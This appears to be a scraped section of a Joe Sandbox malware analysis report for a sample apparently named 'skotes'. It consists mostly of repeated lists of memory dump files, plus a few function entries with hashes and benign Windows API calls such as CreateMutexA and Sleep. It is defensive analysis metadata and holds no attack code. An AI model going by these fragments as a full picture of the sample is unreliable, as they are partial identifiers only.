Associated: 00000002.00000002.2130042542.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130070828.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130089890.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130121117.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130150121.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130193432.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130299348.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130328593.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130360133.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130393026.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130421778.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130450435.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130481080.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130510304.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130539738.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4cb9c29ec83c7bdd5bc0d3a7cd4c27c009d832f022e48a03c38f8a6200c8ada9
Instruction ID: b5aadc0c80e24476005e8261e64aa876a4f02ba28319891c2a890e980984d5e0
Opcode Fuzzy Hash: 4cb9c29ec83c7bdd5bc0d3a7cd4c27c009d832f022e48a03c38f8a6200c8ada9
Instruction Fuzzy Hash: F02137717042089BEB18AB78FC89B7DFB61FBC1320F204229E568C77D5DBB649808B51

Function 008FA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.2124725860.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124748348.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124811786.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124830502.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124851728.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124941796.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124960126.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125031894.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125057782.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125089957.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125146017.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125541662.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125575020.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125604296.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125635284.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125664879.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125695194.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125725917.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125759482.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125785209.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125851563.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125879989.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125932877.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125959438.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2126753849.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129453543.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129560220.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129623178.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129727156.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129823855.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129846694.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129877627.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129899641.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129925342.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129946035.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129965924.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129985338.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130008252.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130042542.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130070828.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130089890.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130121117.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130150121.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130193432.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130299348.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130328593.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130360133.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130393026.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130421778.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130450435.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130481080.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130510304.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130539738.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7634a636bac61cf6ef167ff90760cefcc8663fd2fe778a254227ac41a1546fba
Instruction ID: 6396268b4020de661e6b5a6c244c7fc435243f320d98358b3e7058d3b1971248
Opcode Fuzzy Hash: 7634a636bac61cf6ef167ff90760cefcc8663fd2fe778a254227ac41a1546fba
Instruction Fuzzy Hash: 55213BB075520D9AF72C77B8989A77DB751FB81720F204425E64CD72C1CAA544404193

Function 008FA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.2124725860.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124748348.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124811786.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124830502.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124851728.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124941796.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124960126.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125031894.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125057782.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125089957.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125146017.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125541662.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125575020.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125604296.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125635284.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125664879.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125695194.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125725917.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125759482.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125785209.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125851563.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125879989.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125932877.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125959438.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2126753849.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129453543.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129560220.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129623178.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129727156.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129823855.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129846694.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129877627.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129899641.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129925342.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129946035.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129965924.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129985338.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130008252.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130042542.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130070828.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130089890.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130121117.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130150121.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130193432.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130299348.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130328593.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130360133.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130393026.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130421778.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130450435.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130481080.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130510304.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130539738.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8da02b9aa06831cb0913d303fc639cc589a06b4371f818e57a6a45f258284536
Instruction ID: e78b8b86f04815d087786c35af81df4fac3dcde58a635c0863e1ea65c9722d5b
Opcode Fuzzy Hash: 8da02b9aa06831cb0913d303fc639cc589a06b4371f818e57a6a45f258284536
Instruction Fuzzy Hash: 432148B17043089BEB1C9B78E88977DFB61EBD1321F204229E51CD77D0DBB655808652

Function 0092D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0092A813,00000001,00000364,00000006,000000FF,?,0092EE3F,?,00000004,00000000,?,?), ref: 0092D870

Memory Dump Source

Source File: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.2124725860.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124748348.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124811786.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124830502.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124851728.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124941796.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124960126.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125031894.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125057782.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125089957.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125146017.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125541662.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125575020.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125604296.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125635284.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125664879.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125695194.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125725917.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125759482.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125785209.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125851563.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125879989.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125932877.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125959438.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2126753849.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129453543.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129560220.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129623178.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129727156.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129823855.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129846694.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129877627.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129899641.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129925342.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129946035.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129965924.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129985338.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130008252.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130042542.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130070828.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130089890.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130121117.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130150121.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130193432.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130299348.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130328593.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130360133.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130393026.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130421778.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130450435.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130481080.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130510304.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130539738.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 60cd18d5a1dfcca6fa300534e4fa2bd742478f71c5123d0a0d63ae75dbd521c7
Instruction ID: c13406b83c24e0ed6d29c5ed858e01a725e41af16a99ef0a015f4b72aaf12b65
Opcode Fuzzy Hash: 60cd18d5a1dfcca6fa300534e4fa2bd742478f71c5123d0a0d63ae75dbd521c7
Instruction Fuzzy Hash: 2FF0273260723466FB217A72BC01B6B779DDF817B0F298421FD08E719DDA20DC0086E0

Non-executed Functions

Function 008F2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 008F2F5F
__Mtx_unlock.LIBCPMT ref: 008F2FCC
__Cnd_broadcast.LIBCPMT ref: 008F2FE3
__Mtx_unlock.LIBCPMT ref: 008F30F5
__Mtx_unlock.LIBCPMT ref: 008F319B

Memory Dump Source

Source File: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.2124725860.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124748348.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124811786.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124830502.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124851728.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124941796.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124960126.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125031894.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125057782.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125089957.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125146017.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125541662.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125575020.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125604296.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125635284.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125664879.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125695194.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125725917.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125759482.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125785209.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125851563.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125879989.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125932877.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125959438.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2126753849.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129453543.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129560220.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129623178.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129727156.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129823855.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129846694.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129877627.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129899641.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129925342.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129946035.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129965924.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129985338.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130008252.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130042542.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130070828.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130089890.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130121117.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130150121.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130193432.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130299348.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130328593.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130360133.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130393026.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130421778.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130450435.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130481080.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130510304.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130539738.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: a2ee9a7690826feb9ac4c4c290fc1c33462c5615e0b63a330d47ef31395ab806
